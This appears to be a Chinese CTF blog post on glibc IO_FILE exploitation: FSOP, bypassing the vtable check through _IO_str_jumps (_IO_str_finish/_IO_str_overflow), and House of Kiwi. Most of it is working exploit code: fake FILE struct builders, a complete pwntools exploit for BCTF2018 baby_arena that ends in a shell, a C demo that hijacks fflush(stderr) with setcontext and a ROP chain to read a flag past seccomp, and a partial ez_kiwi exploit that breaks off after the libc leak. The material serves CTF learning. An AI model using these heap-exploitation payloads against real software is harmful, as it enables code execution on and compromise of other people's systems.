4
5
fake_IO = '/bin/sh\0' + p64(0)*3
fake_IO += p64(0) + p64(1)
fake_IO = fake_IO.ljust(0xC0,'\0')
fake_IO += p64(0xFFFFFFFFFFFFFFFF) + p64(0)*2
fake_IO += p64(0x6020B0 - 0x18)

image-20220525001739503

这时候的 _IO_OVERFLOW 就等同于 system('/bin/sh\0'); 能稳定 getshell。

注意

注意的点就是,我们 _IO_list_all 写的是堆地址,我们的 _flags 和 _IO_read_ptr 是被 prev_size 和 size 占据的。这就是为毛我们写的内容是 fake_IO[0x10:]

所以想要第二种方法 getshell 的话要记得更改上个 chunk 在 prev_size 位的数据。最后正常 getshell :

image-20220525122757746

基本构造

1
2
3
4
5
6
7
def FILE(vtable_addr):
fake_IO = '/bin/sh\0' + p64(0)*3
fake_IO += p64(0) + p64(1) # fp->_IO_write_ptr > fp->_IO_write_base
fake_IO = fake_IO.ljust(0xC0,'\0')
fake_IO += p64(0xFFFFFFFFFFFFFFFF) + p64(0)*2 # _mode <= 0
fake_IO += p64(vtable_addr - 0x18)
return fake_IO

2.24 =< Libc <= 2.27-3ubuntu1.2

为毛是 2.27-3ubuntu1.2 是因为下面这俩 👴 在 2.27-3ubuntu1.4 试过了不行。

vtable 检测绕过

没啥必要看的检查代码

Libc 2.24 往上走就有了对 vtable 的检查。但基本思路还是没有变,劫持函数指针,只要掌握绕过思路本质还是一样的。

在 2.24 版本的 glibc 中,全新加入了针对 IO_FILE_plus 的 vtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。

首先会验证 vtable 是否位于 _IO_vtable 段(段内一定偏移范围还是比较宽松的)中,如果满足条件就正常执行,否则会调用 *** _IO_vtable_check*** 做进一步合法性检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void _IO_vtable_check (void) attribute_hidden;

/* Perform vtable pointer validation. If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length)) //offset 大于 section_length , 调用检查函数
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check) //检查是否是外部重构的vtable
return;

/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (_dl_open_hook != NULL
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE)) //检查是否是动态链接库中的vtable
return;
}

#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
because FILE * handles might be passed back and forth across the
boundary. Therefore, we disable checking in this case. */
if (__dlopen != NULL)
return;
#endif

__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

上面这些没有用,主要眼熟一下这个,一般这个出来了说明你的 vtable 没 🐑 好,调试看看自己的数据有没有构造错。

1
__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");

经典俩大基本绕过思路

因为加入了对 vtable 位置的检查,我们瞎几把劫持 vtable 的老一套已经没用了,但是基本利用思路还是盯着这个 _IO_OVERFLOW

不能写自己的 vtable ,那就找原本程序中就存在的 vtable,利用其中的函数指针。

目前主流思路就是利用 _IO_str_jumps_IO_wstr_jumps 中的 _IO_str_overflow()_IO_str_finish() 函数。

意思就是在 vtable 上写上 _IO_str_jumps 加减一段偏移来使得 IO 结构体在 _IO_OVERFLOW 查 vtable 表时调用 _IO_str_finish_IO_str_overflow 这类函数。

相比 2.23 ,最重要的就是_flags 比较严格,这里需要点篇幅看源码才能说明白。

_IO_str_jumps

就是一张 vtable 函数表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

_IO_str_finish

这玩意比较简单,先说一下。

我们仍然需要构造好条件,进入被修改后的 vtable 表 _IO_OVERFLOW 偏移处的函数也就是我们这里的 _IO_str_finish

所以 2.23 那里的条件还是不能丢

1
2
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base

进入函数后:

1
2
3
4
5
6
7
8
9
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

好的,比较敏感的观众朋友们已经发现了华点。

1
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);

这玩意,带了函数指针,很好用。只要把这个 _free_buffer 扬成 systemfp->_IO_buf_base/bin/sh\0 地址,剩下的 dddd

这里 _s 是什么 👴 翻了一大半天源码也没弄明白这玩意,于是就摆了。反正 fp->_s._free_bufferfp 加一个偏移。具体的 👴 有 gdb 可以调。👴 测得在 x64 下是 0xe8

好的,总结一下。

1
2
3
4
5
6
7
8
9
fp->_mode <= 0 // 2.23
fp->_IO_write_ptr > fp->_IO_write_base // 2.23
fp->vtable = _IO_str_jumps_addr
fp->_flags & _IO_USER_BUF = 0 // 最低位没有 1
fp->_IO_buf_base != 0
---> fp->_IO_buf_base = binsh_addr
fp->_s._free_buffer = system_addr

#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */

_IO_str_overflow

这是个比较复杂同时很重要的函数,后面我们也会用到这个函数。

我们仍然需要构造好条件,进入被修改后的 vtable 表 _IO_OVERFLOW 偏移处的函数也就是我们这里的 _IO_str_overflow

所以 2.23 那里的条件还是不能丢

1
2
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base

进入函数后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;

if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;

if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}

pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);

_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}

if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
libc_hidden_def (_IO_str_overflow)

👴 知道大 🔥 一眼望去直接不想看了,但是我们只需要盯几个点就好了。

首先是我们的目标

1
new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

fp->_s._allocate_buffer 写 system 的地址,new_size 构造成 binsh 的地址。

其中 fp->_s._allocate_buffer 是 fp 加一个偏移,👴 测得在 x64 下是 0xe0, new_size 计算如下:

当 binsh_addr 为偶数的话就是小学数学:

1
2
3
4
	  size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;

#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)

2old_blen+100=binsh_addr(fp)>_IO_buf_end(fp)>_IO_buf_base=old_blen=(binsh_addr100)//22 * old\_blen + 100 = binsh\_addr\\ (fp)->\_IO\_buf\_end - (fp)->\_IO\_buf\_base=\\ old\_blen=(binsh\_addr-100)//2

当 binsh_addr 为奇数👴 没咋遇见过),咱加一试试看星不星,实在不行咱不受这气自己找地址写一个就 ok :

0xa = 10 是偶数,这里只是假装演示一下。

1
2
3
4
pwndbg> search /bin/sh
libc-2.27.so 0x7f463b5cb0fa 0x68732f6e69622f /* '/bin/sh' */
pwndbg> x/s 0x7f463b5cb0fa+1
0x7f463b5cb0fb: "bin/sh"

然后是达成目标,避免 return:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/*[+]----------------1----------------[+]*/

if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;

if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
/*[+]----------------1----------------[+]*/
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800

即二进制表示的 _flags 倒数第三位不能为1 。

1
2
3
4
5
6
7
/*[+]----------------2----------------[+]*/

if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;

/*[+]----------------2----------------[+]*/
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
1
2
3
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{

构造的时候小心点就好了,没啥大问题。

1
2
3
4
5
6
/*[+]----------------3----------------[+]*/ 

if (new_size < old_blen)
return EOF;

/*[+]----------------3----------------[+]*/

1,2 咋构造?👴 说俩个数你记着嗷: 0xfbad18000 直接绕完,不要搞花里胡哨的。

至于 4 ,这玩意应该是防止 new_size = 2 * old_blen + 100 溢出的。一般不会出事。

总结一下:

1
2
3
4
5
6
7
fp->_mode <= 0	// 2.23
fp->_IO_write_ptr > fp->_IO_write_base // 2.23
fp->_flags = 0
fp->_IO_write_ptr = 0xffffffffffffffff
fp->_s._allocate_buffer = system_addr
fp->_IO_buf_base = 0
fp->_IO_buf_end = (binsh_addr-100)//2

基本构造

_IO_str_finish

1
2
3
4
5
6
7
8
9
10
11
def FILE(binsh,system,IO_str_jumps):
fake_IO_FILE = p64(0xfbad1800) + p64(0)*3
fake_IO_FILE += p64(0) + p64(1) # fp->_IO_write_ptr > fp->_IO_write_base
fake_IO_FILE += p64(0) + p64(binsh)
fake_IO_FILE = fake_IO_FILE.ljust(0xC0,'\x00')
fake_IO_FILE += p64(0xFFFFFFFFFFFFFFFF) + p64(0)*2 # _mode <= 0
fake_IO_FILE += p64(IO_str_jumps-8)
fake_IO_FILE += p64(0) + p64(system)
return fake_IO_FILE

fake_IO = FILE(sh_addr,system_addr,_IO_str_jumps)

_IO_str_overflow

其实上面那个就够用了,但防止有人说 👴🐶👴 还是改了个脚本:

1
2
3
4
5
6
7
8
9
10
def FILE(binsh,system,IO_str_jumps):
fake_IO_FILE = p64(0xfbad1800) + p64(0)*3
fake_IO_FILE += p64(0) + p64(0xffffffffffffffff) # fp->_IO_write_ptr > fp->_IO_write_base; pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)
fake_IO_FILE += p64(0)*2 + p64((binsh-100)//2)
fake_IO_FILE = fake_IO_FILE.ljust(0xC0,'\x00')
fake_IO_FILE += p64(0xFFFFFFFFFFFFFFFF) + p64(0)*2 # _mode <= 0
fake_IO_FILE += p64(IO_str_jumps)
fake_IO_FILE += p64(system) # 0xe0 _s._allocate_buffer
return fake_IO_FILE
fake_IO = FILE(sh_addr,system_addr,_IO_str_jumps)

如何定位 _IO_str_jumps ?

👴 寻思 👴 有了 libc ,偏移又相对固定, 👴 更喜欢直接去 gdb 调试算。

下面这段是从别的师傅那CV的,不喜欢折腾的师傅们可以看下面的。

由于 _IO_str_jumps 不是导出符号,因此无法直接利用 pwntool s的 libc.sym["_IO_str_jumps"] 进行定位,我们可以转换一下思路,利用 _IO_str_jumps中的导出函数,例如 _IO_str_underflow 进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow 函数地址的内存地址,如下所示:

1
2
3
4
5
6
7
8
pwndbg> p _IO_str_underflow
$1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow>
pwndbg> search -p 0x7f4d4cf04790
libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790
libc.so.6 0x7f4d4d224160 0x7f4d4cf04790
libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790
pwndbg> p &_IO_file_jumps
$2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps>

再利用 _IO_str_jumps 的地址大于 _IO_file_jumps 地址的条件,就可以锁定最后一个地址为符合条件的 _IO_str_jumps 的地址,由于 _IO_str_underflow_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,再减掉libc的基地址,就可以得到_IO_str_jumps 的正确偏移。 当然也可以用IDA Pro分析libc.so,查找_IO_file_jumps 后的jump表即可。 此外,介绍一种直接利用pwntools得到_IO_str_jumps 偏移的方法,思想与采用动态调试分析的方法类似,直接放代码:

1
2
3
4
5
6
7
def get_IO_str_jumps():
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
return possible_IO_str_jumps_offset

例题

baby_arena_BCTF2018 <libc2.27-3ubuntu1.2>

分析

和 2.23 一样。

思路

思路和上题一毛一样。注意改一下偏移,以及 global_max_fast 利用时候的堆块大小。

Exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.27/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./baby_arena')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62'])
p = process('./baby_arena')
debug()

def menu(choice):
sla('4.exit\n',str(choice))

def add(size,data=''):
menu(1)
sla('your note size',str(size))
sla('Input your note',str(data))

def dele(id):
menu(2)
sla('Input id:',str(id))

def aw(addr0,addr1):
menu(3)
sea('Please input your name',p64(addr0)+p64(addr1))
sla('1.admin',str(1))

'''
[+]-----Leak the Libc-----[+]
'''
add(0x418) # 0
add(0x1430) # 1
dele(0)
add(0x418)
ru('your note is\n')
libc_leak = uu64(rc(6))
libc_base = libc_leak - 0x3ebca0
lg('libc_leak',libc_leak)
lg('libc_base',libc_base)
#libc = ELF('./libc.so.6')
libc = elf.libc
libc.address = libc_base

_IO_str_jumps = libc_base + 0x3e8360
sh_addr = libc.search('/bin/sh').next()
system_addr = libc.sym.system
global_max_fast = libc_base + 0x3ed940
'''
[+]-----Global max fast-----[+]
'''

pause()
# aw(one_gadget,libc_base+0x3c67f8-8)
aw(system_addr,global_max_fast - 8)
pause()
dele(0)
add(0x418,'a'*0x410+p64(0))
dele(1)

def FILE(binsh,system,IO_str_jumps):
fake_IO_FILE = p64(0xfbad1800) + p64(0)*3
fake_IO_FILE += p64(0) + p64(0xffffffffffffffff) # fp->_IO_write_ptr > fp->_IO_write_base; pos = fp->_IO_write_ptr - fp->_IO_write_base >= (_IO_size_t) (_IO_blen (fp) + flush_only)
fake_IO_FILE += p64(0)*2 + p64((binsh-100)//2)
fake_IO_FILE = fake_IO_FILE.ljust(0xC0,'\x00')
fake_IO_FILE += p64(0xFFFFFFFFFFFFFFFF) + p64(0)*2 # _mode <= 0
fake_IO_FILE += p64(IO_str_jumps)
fake_IO_FILE += p64(system) # 0xe0 _s._allocate_buffer
return fake_IO_FILE

fake_IO = FILE(sh_addr,system_addr,_IO_str_jumps)

add(0x1430,fake_IO[0x10:])
dele(1)
pause()
sl('4')

p.interactive()

调试

调试拿 _IO_str_overflow 简单过一遍。看完了 2.23 后 2.27 只需要明白咋进的 _IO_str_overflow 就行了。

我们构造的结构体:

image-20220525200847128

结构体 vtable 函数表:

image-20220525200927604

那么在遍历到我们的结构体调用 _IO_OVERFLOW 实际就是在调用 _IO_str_overflow

image-20220525201020570

一路 si 跟进,最后在预期位置 getshell :

image-20220525201106629


??? <= Libc <= ???

kiwi 是利用路线,必要的话用 husk 过渡,emma 和 pig 是利用方法。

风沐云烟

👴 其实是就是为了写这部分才开的这篇博客。从这里开始才能称作是搞艺术。

??? 的意思是这下面的几个利用涉及到的思想和手法,从过去一直到未来的一段时间里不会过时。

你暂时看不到就是 👴 还没写完。

House of Kiwi

先看一下这几个中我最先学习到的 kiwi ,由 fmyy 师傅提出,发表于 安全客

原理

__malloc_assert
  • GLIBC 2.32/malloc.c:288

    glibc中ptmalloc部分,从以前到现在都存在一个assret断言的问题,此处存在一个 fflush(stderr) 的函数调用,其中会调用_IO_file_jumps 中的sync指针。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    static void
    __malloc_assert (const char *assertion, const char *file, unsigned int line,
    const char *function)
    {
    (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
    __progname, __progname[0] ? ": " : "",
    file, line,
    function ? function : "", function ? ": " : "",
    assertion);
    fflush (stderr);
    abort ();
    }
  • fflush:

    1
    # define fflush(s) _IO_fflush (s)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    int
    _IO_fflush (_IO_FILE *fp)
    {
    if (fp == NULL)
    return _IO_flush_all ();
    else
    {
    int result;
    CHECK_FILE (fp, EOF);
    _IO_acquire_lock (fp);
    result = _IO_SYNC (fp) ? EOF : 0;
    _IO_release_lock (fp);
    return result;
    }
    }
    libc_hidden_def (_IO_fflush)

    其中调用了 vtable 对应偏移的 _IO_SYNC 函数。如果你知道低版本的 FSOP 的基本原理,那么大概就知道 kiwi 的利用思路了。

使用场景

  1. 能够触发__malloc_assert,通常是堆溢出导致,但 👴 发现实际过程中大多数都是 🐑 topchunk。

  2. 能够任意写,修改

    1
    _IO_file_sync = setcontext + 61	// &_IO_file_jumps + 0x60

    1
    2
    IO_helper_jumps + 0xA0 and 0xA8
    // rsp rcx

俩点说明

关于场景 1,🐑 topchunk 有很多种 🐑 法,常用的有:

  1. 直接溢出或者分配个 chunk 去把 topchunk size 扬了
  2. Largebin Attack 错位打 topchunk size
  3. Largebin Attack 或者分配个 chunk 过去 🐑 main_arena 中的 topchunk 坑位

关于场景 2,👴 不得不提一哈,这只是最初最基本的 kiwi 需要任意写这个比较强的条件,fmyy 师傅还教了 👴 和其他的 house 一起玩的仅 Largebin Attack 较弱条件思路,具体的话后续的例题应该会有。

Demo

fmyy 师傅演示的 DEMO:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
// Ubuntu 20.04, GLIBC 2.32_Ubuntu2.2
//gcc demo.c -o main -z noexecstack -fstack-protector-all -pie -z now -masm=intel
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#define pop_rdi_ret libc_base + 0x000000000002858F
#define pop_rdx_r12 libc_base + 0x0000000000114161
#define pop_rsi_ret libc_base + 0x000000000002AC3F
#define pop_rax_ret libc_base + 0x0000000000045580
#define syscall_ret libc_base + 0x00000000000611EA
#define ret pop_rdi_ret+1
size_t libc_base;
size_t ROP[0x30];
char FLAG[0x100] = "./flag.txt\x00";
void sandbox()
{
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
struct sock_filter sfi[] ={
{0x20,0x00,0x00,0x00000004},
{0x15,0x00,0x05,0xC000003E},
{0x20,0x00,0x00,0x00000000},
{0x35,0x00,0x01,0x40000000},
{0x15,0x00,0x02,0xFFFFFFFF},
{0x15,0x01,0x00,0x0000003B},
{0x06,0x00,0x00,0x7FFF0000},
{0x06,0x00,0x00,0x00000000}
};
struct sock_fprog sfp = {8, sfi};
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &sfp);
}

void setROP()
{
uint32_t i = 0;
ROP[i++] = pop_rax_ret;
ROP[i++] = 2;
ROP[i++] = pop_rdi_ret;
ROP[i++] = (size_t)FLAG;
ROP[i++] = pop_rsi_ret;
ROP[i++] = 0;
ROP[i++] = syscall_ret;
ROP[i++] = pop_rdi_ret;
ROP[i++] = 3;
ROP[i++] = pop_rdx_r12;
ROP[i++] = 0x100;
ROP[i++] = 0;
ROP[i++] = pop_rsi_ret;
ROP[i++] = (size_t)(FLAG + 0x10);
ROP[i++] = (size_t)read;
ROP[i++] = pop_rdi_ret;
ROP[i++] = 1;
ROP[i++] = (size_t)write;
}
int main() {
setvbuf(stdin,0LL,2,0LL);
setvbuf(stdout,0LL,2,0LL);
setvbuf(stderr,0LL,2,0LL);
sandbox();
libc_base = ((size_t)setvbuf) - 0x81630;
printf("LIBC:\t%#lx\n",libc_base);

size_t magic_gadget = libc_base + 0x53030 + 61; // setcontext + 61
size_t IO_helper = libc_base + 0x1E48C0; // _IO_hel
per_jumps;
size_t SYNC = libc_base + 0x1E5520; // sync pointer in _IO_file_jumps
setROP();
*((size_t*)IO_helper + 0xA0/8) = ROP; // 设置rsp
*((size_t*)IO_helper + 0xA8/8) = ret; // 设置rcx 即 程序setcontext运行完后会首先调用的指令地址
*((size_t*)SYNC) = magic_gadget; // 设置fflush(stderr)中调用的指令地址
// 触发assert断言,通过large bin chunk的size中flag位修改,或者top chunk的inuse写0等方法可以触发assert
size_t *top_size = (size_t*)((char*)malloc(0x10) + 0x18);
*top_size = (*top_size)&0xFFE; // top_chunk size改小并将inuse写0,当top chunk不足的时候,会进入sysmalloc中,其中有个判断top_chunk的size中inuse位是否存在
malloc(0x1000); // 触发assert
_exit(-1);
}

调试和例题

👴 私自认为 kiwi 简洁但不简单,简洁到简单改改 demo 就能在其他的题目里打 ROP 绕沙箱。又不简单到必须自己调试,才能较好地掌握这一利用路线,了解其中细节,以后和其他方法结合起来才能比较从容。

ez_kiwi

出自 BUUCTF 的 Dest0g3 520迎新赛

分析

这题挺适合拿来调试 kiwi 的,题目给了个简单的 off-by-one ,👴 认为 off-by-one 是非常白给的漏洞所以不会难。

同时题目没有给显式的 exit 并且每次进入 menu 前会清除几个 hook ,也是要求我们打 IO 了。

但是出题人这次所有的题目都没有开 sandbox ,这是个大伏笔,暂按下不表。

思路
  1. off-by-one 打堆重叠改 size 拿到大 chunk
  2. Free 大 chunk 再拿回来,利用残留指针简单的 leak
  3. 利用重叠堆块里的 chunk 构造 Tcache Poisoning 任意写,打 kiwi
Exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.31/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./ez_kiwi')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62'])
p = process('./ez_kiwi')
debug()

def menu(choice):
sla('>> ',str(choice))

def add(size,id,data='u'):
menu(1)
sla('How much do you want?',str(size))
sla('Which one do you want to put?',str(id))
sea('Tell me your idea:\n',str(data))

def dele(id):
menu(2)
sla('Which one do you want to remove?',str(id))

def show(id):
menu(3)
sla('Which one do you want to look?\n',str(id))

def edit(id,data):
menu(4)
sla('Which one do you want to change?',str(id))
sea('Change your idea:',str(data))

def gift():
menu(666)

# flag_addr = heap_base + 0x2a0
sla('Before the game starts, please give me your name:\n','./flag\0')

# Easy Heap Fengshui
add(0x18,0) # 0
add(0x18,1) # 1
add(0x18,2) # 2
add(0x100,3) # 3
add(0x100,4) # 4
add(0x100,5) # 5
add(0x100,6) # 6
add(0x18,7) # 7
add(0x18,8) # 8

# chunk1 -> size = 0x40
edit(0,'a'*0x18+'\x41')
dele(1)
add(0x38,1)

# chunk2 -> size = 0x460 Create a unsortedbin
edit(1,'u'*0x18 + p64(0x20 + 0x110*4 + 1) + '\n')
dele(2)

# Leak libc
add(0x18,2)
show(2)
